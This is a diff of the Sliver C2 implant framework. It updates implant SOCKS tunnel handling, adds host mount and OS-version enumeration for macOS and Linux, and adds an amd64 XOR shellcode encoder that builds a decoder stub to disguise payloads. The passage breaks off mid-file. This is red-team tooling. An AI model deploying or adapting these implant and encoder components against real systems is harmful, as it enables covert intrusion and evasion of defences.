type socksTunnelPool struct {
|
||||
tunnels *sync.Map // map[uint64]chan []byte
|
||||
tunnels *sync.Map // map[uint64]chan []byte
|
||||
lastActivity *sync.Map // map[uint64]time.Time
|
||||
}
|
||||
|
||||
var socksTunnels = socksTunnelPool{
|
||||
tunnels: &sync.Map{},
|
||||
tunnels: &sync.Map{},
|
||||
lastActivity: &sync.Map{},
|
||||
}
|
||||
|
||||
var socksServer *socks5.Server
|
||||
|
||||
// Initialize socks server
|
||||
func init() {
|
||||
socksServer = socks5.NewServer()
|
||||
socksTunnels.startCleanupMonitor()
|
||||
}
|
||||
|
||||
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
|
||||
socksData := &sliverpb.SocksData{}
|
||||
err := proto.Unmarshal(envelope.Data, socksData)
|
||||
@@ -55,9 +68,26 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond) // Necessary delay
|
||||
|
||||
// Check early to see if this is a close request from server
|
||||
if socksData.CloseConn {
|
||||
if tunnel, ok := socksTunnels.tunnels.LoadAndDelete(socksData.TunnelID); ok {
|
||||
if ch, ok := tunnel.(chan []byte); ok {
|
||||
close(ch)
|
||||
}
|
||||
}
|
||||
socksTunnels.lastActivity.Delete(socksData.TunnelID)
|
||||
return
|
||||
}
|
||||
|
||||
if socksData.Data == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Record activity as soon as we get data for this tunnel
|
||||
socksTunnels.recordActivity(socksData.TunnelID)
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
|
||||
// {{end}}
|
||||
@@ -70,8 +100,6 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
socksServer = socks5.NewServer(
|
||||
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
|
||||
)
|
||||
} else {
|
||||
socksServer = socks5.NewServer()
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -80,7 +108,7 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
|
||||
// init tunnel
|
||||
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
|
||||
tunnelChan := make(chan []byte, 10)
|
||||
tunnelChan := make(chan []byte, 100) // Buffered channel for 100 messages
|
||||
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
|
||||
tunnelChan <- socksData.Data
|
||||
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
|
||||
@@ -88,9 +116,12 @@ func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[socks] Failed to serve connection: %v", err)
|
||||
// {{end}}
|
||||
// Cleanup on serve failure
|
||||
socksTunnels.tunnels.Delete(socksData.TunnelID)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// Will block when channel is full
|
||||
tunnel.(chan []byte) <- socksData.Data
|
||||
}
|
||||
}
|
||||
@@ -105,16 +136,22 @@ type socks struct {
|
||||
}
|
||||
|
||||
func (s *socks) Read(b []byte) (n int, err error) {
|
||||
time.Sleep(10 * time.Millisecond) // Necessary delay
|
||||
|
||||
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
|
||||
if !ok {
|
||||
return 0, errors.New("[socks] invalid tunnel id")
|
||||
}
|
||||
|
||||
socksTunnels.recordActivity(s.stream.TunnelID)
|
||||
data := <-channel.(chan []byte)
|
||||
return copy(b, data), nil
|
||||
}
|
||||
|
||||
func (s *socks) Write(b []byte) (n int, err error) {
|
||||
time.Sleep(10 * time.Millisecond) // Necessary delay
|
||||
|
||||
socksTunnels.recordActivity(s.stream.TunnelID)
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
Data: b,
|
||||
@@ -136,12 +173,15 @@ func (s *socks) Write(b []byte) (n int, err error) {
|
||||
}
|
||||
|
||||
func (s *socks) Close() error {
|
||||
time.Sleep(10 * time.Millisecond) // Necessary delay
|
||||
|
||||
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
|
||||
if !ok {
|
||||
return errors.New("[socks] can't close unknown channel")
|
||||
}
|
||||
close(channel.(chan []byte))
|
||||
|
||||
// Signal to server that we need to close this tunnel
|
||||
data, err := proto.Marshal(&sliverpb.SocksData{
|
||||
TunnelID: s.stream.TunnelID,
|
||||
CloseConn: true,
|
||||
@@ -181,3 +221,38 @@ func (c *socks) SetReadDeadline(t time.Time) error {
|
||||
func (c *socks) SetWriteDeadline(t time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *socksTunnelPool) recordActivity(tunnelID uint64) {
|
||||
s.lastActivity.Store(tunnelID, time.Now())
|
||||
}
|
||||
|
||||
// Periodically check for inactive tunnels and clean up
|
||||
func (s *socksTunnelPool) startCleanupMonitor() {
|
||||
go func() {
|
||||
ticker := time.NewTicker(inactivityCheckInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for range ticker.C {
|
||||
s.tunnels.Range(func(key, value interface{}) bool {
|
||||
tunnelID := key.(uint64)
|
||||
lastActivityI, exists := s.lastActivity.Load(tunnelID)
|
||||
if !exists {
|
||||
// If no activity record exists, create one
|
||||
s.recordActivity(tunnelID)
|
||||
return true
|
||||
}
|
||||
|
||||
lastActivity := lastActivityI.(time.Time)
|
||||
if time.Since(lastActivity) > inactivityTimeout {
|
||||
// Clean up the inactive tunnel
|
||||
if ch, ok := value.(chan []byte); ok {
|
||||
close(ch)
|
||||
}
|
||||
s.tunnels.Delete(tunnelID)
|
||||
s.lastActivity.Delete(tunnelID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
}()
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
//go:build darwin
|
||||
|
||||
package mount
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func getString(input []byte) string {
|
||||
ver := string(input)
|
||||
if i := strings.Index(ver, "\x00"); i != -1 {
|
||||
ver = ver[:i]
|
||||
}
|
||||
return ver
|
||||
}
|
||||
|
||||
func formatMountFlags(flags uint32) string {
|
||||
opts := make([]string, 0, 12)
|
||||
|
||||
if flags&unix.MNT_RDONLY != 0 {
|
||||
opts = append(opts, "ro")
|
||||
} else {
|
||||
opts = append(opts, "rw")
|
||||
}
|
||||
if flags&unix.MNT_NOSUID != 0 {
|
||||
opts = append(opts, "nosuid")
|
||||
}
|
||||
if flags&unix.MNT_NODEV != 0 {
|
||||
opts = append(opts, "nodev")
|
||||
}
|
||||
if flags&unix.MNT_NOEXEC != 0 {
|
||||
opts = append(opts, "noexec")
|
||||
}
|
||||
if flags&unix.MNT_SYNCHRONOUS != 0 {
|
||||
opts = append(opts, "sync")
|
||||
}
|
||||
if flags&unix.MNT_ASYNC != 0 {
|
||||
opts = append(opts, "async")
|
||||
}
|
||||
if flags&unix.MNT_NOATIME != 0 {
|
||||
opts = append(opts, "noatime")
|
||||
}
|
||||
if flags&unix.MNT_JOURNALED != 0 {
|
||||
opts = append(opts, "journaled")
|
||||
}
|
||||
if flags&unix.MNT_QUOTA != 0 {
|
||||
opts = append(opts, "quota")
|
||||
}
|
||||
if flags&unix.MNT_UNION != 0 {
|
||||
opts = append(opts, "union")
|
||||
}
|
||||
if flags&unix.MNT_AUTOMOUNTED != 0 {
|
||||
opts = append(opts, "automounted")
|
||||
}
|
||||
if flags&unix.MNT_REMOVABLE != 0 {
|
||||
opts = append(opts, "removable")
|
||||
}
|
||||
if flags&unix.MNT_DONTBROWSE != 0 {
|
||||
opts = append(opts, "nobrowse")
|
||||
}
|
||||
if flags&unix.MNT_IGNORE_OWNERSHIP != 0 {
|
||||
opts = append(opts, "ignore-ownership")
|
||||
}
|
||||
if flags&unix.MNT_LOCAL != 0 {
|
||||
opts = append(opts, "local")
|
||||
}
|
||||
if flags&unix.MNT_ROOTFS != 0 {
|
||||
opts = append(opts, "rootfs")
|
||||
}
|
||||
if flags&unix.MNT_SNAPSHOT != 0 {
|
||||
opts = append(opts, "snapshot")
|
||||
}
|
||||
if flags&unix.MNT_CPROTECT != 0 {
|
||||
opts = append(opts, "cprotect")
|
||||
}
|
||||
if flags&unix.MNT_NOUSERXATTR != 0 {
|
||||
opts = append(opts, "nouserxattr")
|
||||
}
|
||||
if flags&unix.MNT_QUARANTINE != 0 {
|
||||
opts = append(opts, "quarantine")
|
||||
}
|
||||
if flags&unix.MNT_UNKNOWNPERMISSIONS != 0 {
|
||||
opts = append(opts, "unknown-permissions")
|
||||
}
|
||||
if flags&unix.MNT_DEFWRITE != 0 {
|
||||
opts = append(opts, "defwrite")
|
||||
}
|
||||
if flags&unix.MNT_DOVOLFS != 0 {
|
||||
opts = append(opts, "volfs")
|
||||
}
|
||||
if flags&unix.MNT_NOBLOCK != 0 {
|
||||
opts = append(opts, "noblock")
|
||||
}
|
||||
if flags&unix.MNT_RELOAD != 0 {
|
||||
opts = append(opts, "reload")
|
||||
}
|
||||
if flags&unix.MNT_UPDATE != 0 {
|
||||
opts = append(opts, "update")
|
||||
}
|
||||
if flags&unix.MNT_EXPORTED != 0 {
|
||||
opts = append(opts, "exported")
|
||||
}
|
||||
if flags&unix.MNT_MULTILABEL != 0 {
|
||||
opts = append(opts, "multilabel")
|
||||
}
|
||||
if flags&unix.MNT_STRICTATIME != 0 {
|
||||
opts = append(opts, "strictatime")
|
||||
}
|
||||
if flags&unix.MNT_FORCE != 0 {
|
||||
opts = append(opts, "force")
|
||||
}
|
||||
|
||||
return strings.Join(opts, ",")
|
||||
}
|
||||
|
||||
func GetMountInformation() ([]*sliverpb.MountInfo, error) {
|
||||
mountInfo := make([]*sliverpb.MountInfo, 0)
|
||||
|
||||
count, err := unix.Getfsstat(nil, unix.MNT_NOWAIT)
|
||||
if err != nil || count == 0 {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
stats := make([]unix.Statfs_t, count)
|
||||
count, err = unix.Getfsstat(stats, unix.MNT_NOWAIT)
|
||||
if err != nil {
|
||||
return mountInfo, err
|
||||
}
|
||||
|
||||
stats = stats[:count]
|
||||
for _, stat := range stats {
|
||||
var mountData sliverpb.MountInfo
|
||||
mountData.VolumeName = getString(stat.Mntfromname[:])
|
||||
mountData.MountPoint = getString(stat.Mntonname[:])
|
||||
mountData.Label = "/"
|
||||
mountData.VolumeType = getString(stat.Fstypename[:])
|
||||
mountData.MountOptions = formatMountFlags(stat.Flags)
|
||||
mountData.TotalSpace = stat.Blocks * uint64(stat.Bsize)
|
||||
mountData.FreeSpace = stat.Bavail * uint64(stat.Bsize)
|
||||
mountData.UsedSpace = (stat.Blocks - stat.Bfree) * uint64(stat.Bsize)
|
||||
mountInfo = append(mountInfo, &mountData)
|
||||
}
|
||||
|
||||
return mountInfo, nil
|
||||
}
|
||||
@@ -1,7 +1,25 @@
|
||||
// +linux
|
||||
//go:build linux
|
||||
|
||||
package mount
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
package mount
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -19,8 +20,6 @@
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package mount
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// +darwin
|
||||
//go:build darwin
|
||||
|
||||
package procdump
|
||||
|
||||
|
||||
@@ -18,6 +18,129 @@ package version
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetVersion() string {
|
||||
import (
|
||||
"encoding/xml"
|
||||
"errors"
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
type plist struct {
|
||||
XMLName xml.Name `xml:"plist"`
|
||||
Dict dict `xml:"dict"`
|
||||
}
|
||||
|
||||
type dict struct {
|
||||
Key []string `xml:"key"`
|
||||
String []string `xml:"string"`
|
||||
}
|
||||
|
||||
func getString(input []byte) string {
|
||||
ver := string(input)
|
||||
if i := strings.Index(ver, "\x00"); i != -1 {
|
||||
ver = ver[:i]
|
||||
}
|
||||
return ver
|
||||
}
|
||||
|
||||
func readOSRelease() string {
|
||||
paths := []string{
|
||||
"/System/Library/CoreServices/SystemVersion.plist",
|
||||
"/System/Library/CoreServices/ServerVersion.plist",
|
||||
}
|
||||
for _, path := range paths {
|
||||
file, err := os.Open(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
properties, err := parsePlistFile(file)
|
||||
_ = file.Close()
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error parsing %s: %v", path, err)
|
||||
//{{end}}
|
||||
continue
|
||||
}
|
||||
if osRelease := buildOSRelease(properties); osRelease != "" {
|
||||
return osRelease
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parsePlistFile(file *os.File) (map[string]string, error) {
|
||||
var v plist
|
||||
if err := xml.NewDecoder(file).Decode(&v); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(v.Dict.Key) != len(v.Dict.String) {
|
||||
return nil, errors.New("invalid plist content")
|
||||
}
|
||||
properties := make(map[string]string, len(v.Dict.Key))
|
||||
for i, key := range v.Dict.Key {
|
||||
properties[key] = v.Dict.String[i]
|
||||
}
|
||||
return properties, nil
|
||||
}
|
||||
|
||||
func buildOSRelease(properties map[string]string) string {
|
||||
productName := properties["ProductName"]
|
||||
productVersion := properties["ProductVersion"]
|
||||
productBuildVersion := properties["ProductBuildVersion"]
|
||||
if productName == "" || productVersion == "" || productBuildVersion == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%s %s (%s)", productName, productVersion, productBuildVersion)
|
||||
}
|
||||
|
||||
func normalizeArch(arch string) string {
|
||||
arch = strings.TrimSpace(arch)
|
||||
if arch == "" {
|
||||
return ""
|
||||
}
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "x86_64"
|
||||
case "i386", "i486", "i586", "i686", "x86":
|
||||
return "x86"
|
||||
default:
|
||||
return arch
|
||||
}
|
||||
}
|
||||
|
||||
func formatDetailedVersion(osRelease, kernel, arch string) string {
|
||||
parts := make([]string, 0, 3)
|
||||
if osRelease != "" {
|
||||
parts = append(parts, osRelease)
|
||||
}
|
||||
if kernel != "" {
|
||||
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
|
||||
}
|
||||
if arch != "" {
|
||||
parts = append(parts, arch)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
func GetVersion() string {
|
||||
osRelease := readOSRelease()
|
||||
var uname unix.Utsname
|
||||
if err := unix.Uname(&uname); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: %v", err)
|
||||
//{{end}}
|
||||
return osRelease
|
||||
}
|
||||
if osRelease == "" {
|
||||
osRelease = getString(uname.Sysname[:])
|
||||
}
|
||||
kernel := getString(uname.Release[:])
|
||||
arch := normalizeArch(getString(uname.Machine[:]))
|
||||
return formatDetailedVersion(osRelease, kernel, arch)
|
||||
}
|
||||
@@ -22,7 +22,10 @@ package version
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
@@ -39,11 +42,111 @@ func getString(input [65]int8) string {
|
||||
return ver
|
||||
}
|
||||
|
||||
func readOSRelease() string {
|
||||
paths := []string{"/etc/os-release", "/usr/lib/os-release"}
|
||||
for _, path := range paths {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
return buildOSRelease(parseOSRelease(string(data)))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseOSRelease(content string) map[string]string {
|
||||
values := make(map[string]string)
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
key, value, ok := strings.Cut(line, "=")
|
||||
if !ok || key == "" {
|
||||
continue
|
||||
}
|
||||
key = strings.TrimSpace(key)
|
||||
value = unescape(unquote(strings.TrimSpace(value)))
|
||||
values[key] = value
|
||||
}
|
||||
return values
|
||||
}
|
||||
|
||||
func unquote(s string) string {
|
||||
if len(s) < 2 {
|
||||
return s
|
||||
}
|
||||
if (s[0] == '"' || s[0] == '\'') && s[0] == s[len(s)-1] {
|
||||
return s[1 : len(s)-1]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func unescape(s string) string {
|
||||
return strings.NewReplacer(
|
||||
`\$`, `$`,
|
||||
`\"`, `"`,
|
||||
`\'`, `'`,
|
||||
`\\`, `\`,
|
||||
"\\`", "`",
|
||||
).Replace(s)
|
||||
}
|
||||
|
||||
func buildOSRelease(values map[string]string) string {
|
||||
name := values["NAME"]
|
||||
version := values["VERSION"]
|
||||
if version == "" {
|
||||
version = values["VERSION_ID"]
|
||||
}
|
||||
if name != "" && version != "" {
|
||||
return fmt.Sprintf("%s %s", name, version)
|
||||
}
|
||||
return values["PRETTY_NAME"]
|
||||
}
|
||||
|
||||
func normalizeArch(arch string) string {
|
||||
arch = strings.TrimSpace(arch)
|
||||
if arch == "" {
|
||||
return ""
|
||||
}
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "x86_64"
|
||||
case "i386", "i486", "i586", "i686", "x86":
|
||||
return "x86"
|
||||
default:
|
||||
return arch
|
||||
}
|
||||
}
|
||||
|
||||
func formatDetailedVersion(osRelease, kernel, arch string) string {
|
||||
parts := make([]string, 0, 3)
|
||||
if osRelease != "" {
|
||||
parts = append(parts, osRelease)
|
||||
}
|
||||
if kernel != "" {
|
||||
parts = append(parts, fmt.Sprintf("kernel %s", kernel))
|
||||
}
|
||||
if arch != "" {
|
||||
parts = append(parts, arch)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
osRelease := readOSRelease()
|
||||
var uname syscall.Utsname
|
||||
if err := syscall.Uname(&uname); err != nil {
|
||||
log.Fatal(err)
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: %v", err)
|
||||
//{{end}}
|
||||
return osRelease
|
||||
}
|
||||
return fmt.Sprintf("%s %s %s", getString(uname.Sysname), getString(uname.Nodename), getString(uname.Release))
|
||||
if osRelease == "" {
|
||||
osRelease = getString(uname.Sysname)
|
||||
}
|
||||
kernel := getString(uname.Release)
|
||||
arch := normalizeArch(getString(uname.Machine))
|
||||
return formatDetailedVersion(osRelease, kernel, arch)
|
||||
}
|
||||
+1269
-1165
File diff suppressed because it is too large.
Load diff
@@ -690,6 +690,8 @@ message Backdoor { commonpb.Response Response = 9; }
|
||||
enum ShellcodeEncoder {
|
||||
NONE = 0;
|
||||
SHIKATA_GA_NAI = 1;
|
||||
XOR = 2;
|
||||
XOR_DYNAMIC = 3;
|
||||
}
|
||||
|
||||
message ShellcodeEncodeReq {
|
||||
@@ -697,6 +699,7 @@ message ShellcodeEncodeReq {
|
||||
string Architecture = 2;
|
||||
uint32 Iterations = 3;
|
||||
bytes BadChars = 4;
|
||||
reserved 5;
|
||||
|
||||
bytes Data = 8;
|
||||
commonpb.Request Request = 9;
|
||||
@@ -708,7 +711,14 @@ message ShellcodeEncode {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
|
||||
message ShellcodeEncoderArchMap {
|
||||
map<string, ShellcodeEncoder> Encoders = 1;
|
||||
map<string, string> Descriptions = 2;
|
||||
}
|
||||
|
||||
message ShellcodeEncoderMap {
|
||||
map<string, ShellcodeEncoderArchMap> Encoders = 1;
|
||||
}
|
||||
|
||||
// [ Builder ] ----------------------------------------
|
||||
|
||||
|
||||
+1
-1
@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
|
||||
- `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
|
||||
- `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
|
||||
- `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
|
||||
- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
|
||||
- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
|
||||
- `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
|
||||
- `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
|
||||
- `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.
|
||||
@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
|
||||
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2025 Bishop Fox
|
||||
Sliver Copyright (C) 2026 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"crypto/rand"
|
||||
insecureRand "math/rand"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
util "github.com/bishopfox/sliver/util/encoders"
|
||||
@@ -33,10 +32,6 @@ const (
|
||||
sampleSizeMax = 8192
|
||||
)
|
||||
|
||||
func init() {
|
||||
insecureRand.Seed(time.Now().Unix())
|
||||
}
|
||||
|
||||
func randomDataRandomSize(maxSize int) []byte {
|
||||
buf := make([]byte, insecureRand.Intn(maxSize))
|
||||
rand.Read(buf)
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package amd64
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
const xorDynamicKeySize = 8
|
||||
|
||||
// XorKeyGen returns a random key suitable for the XOR encoder.
|
||||
func XorKeyGen() ([]byte, error) {
|
||||
return randomBytes(xorKeySize)
|
||||
}
|
||||
|
||||
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
|
||||
func XorDynamicKeyGen() ([]byte, error) {
|
||||
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
|
||||
}
|
||||
|
||||
func randomBytes(length int) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
|
||||
if length <= 0 {
|
||||
return nil, fmt.Errorf("invalid random length %d", length)
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
for i := range buf {
|
||||
for {
|
||||
if _, err := rand.Read(buf[i : i+1]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !badchars[buf[i]] {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,133 @@
|
||||
package amd64
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Based on the Metasploit x64/xor encoder by [email protected]
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/moloch--/go-keystone"
|
||||
)
|
||||
|
||||
const (
|
||||
xorKeySize = 8
|
||||
xorBlockSize = 8
|
||||
decoderPayloadSize = 0x27
|
||||
)
|
||||
|
||||
// Xor encodes an amd64 payload using the Metasploit x64/xor scheme.
|
||||
func Xor(data []byte, key []byte) ([]byte, error) {
|
||||
if len(data) == 0 {
|
||||
return nil, fmt.Errorf("xor encoder: empty payload")
|
||||
}
|
||||
if len(key) != xorKeySize {
|
||||
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
|
||||
}
|
||||
|
||||
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
|
||||
if blockCount <= 0 {
|
||||
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
|
||||
}
|
||||
|
||||
paddedLen := blockCount * xorBlockSize
|
||||
encoded := make([]byte, paddedLen)
|
||||
copy(encoded, data)
|
||||
|
||||
for i := 0; i < paddedLen; i += xorBlockSize {
|
||||
for j := 0; j < xorKeySize; j++ {
|
||||
encoded[i+j] ^= key[j]
|
||||
}
|
||||
}
|
||||
|
||||
stub, err := buildDecoderStub(blockCount, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return append(stub, encoded...), nil
|
||||
}
|
||||
|
||||
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
|
||||
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = engine.Close() }()
|
||||
|
||||
err = engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
src := strings.Join([]string{
|
||||
".code64",
|
||||
"xor rcx, rcx",
|
||||
"sub rcx, 0x81",
|
||||
"lea rax, [rip - 0x11]",
|
||||
"mov rbx, 0x1122334455667788",
|
||||
"decode:",
|
||||
"xor qword ptr [rax + 0x27], rbx",
|
||||
"sub rax, 0x80",
|
||||
"loop decode",
|
||||
}, "\n")
|
||||
inst, err := engine.Assemble(src, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(inst) != decoderPayloadSize {
|
||||
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
|
||||
}
|
||||
|
||||
blockValue := uint32(int32(-blockCount))
|
||||
if err := patchImm32(inst, []byte{0x48, 0x81, 0xE9}, blockValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
keyOffset := bytes.Index(inst, []byte{0x48, 0xBB})
|
||||
if keyOffset == -1 || keyOffset+10 > len(inst) {
|
||||
return nil, fmt.Errorf("xor encoder: failed to locate key offset")
|
||||
}
|
||||
copy(inst[keyOffset+2:keyOffset+10], key)
|
||||
|
||||
if err := patchImm32(inst, []byte{0x48, 0x2D}, 0xFFFFFFF8); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return inst, nil
|
||||
}
|
||||
|
||||
func patchImm32(stub []byte, opcode []byte, value uint32) error {
|
||||
offset := bytes.Index(stub, opcode)
|
||||
if offset == -1 {
|
||||
return fmt.Errorf("xor encoder: opcode %x not found", opcode)
|
||||
}
|
||||
offset += len(opcode)
|
||||
if offset+4 > len(stub) {
|
||||
return fmt.Errorf("xor encoder: opcode %x out of range", opcode)
|
||||
}
|
||||
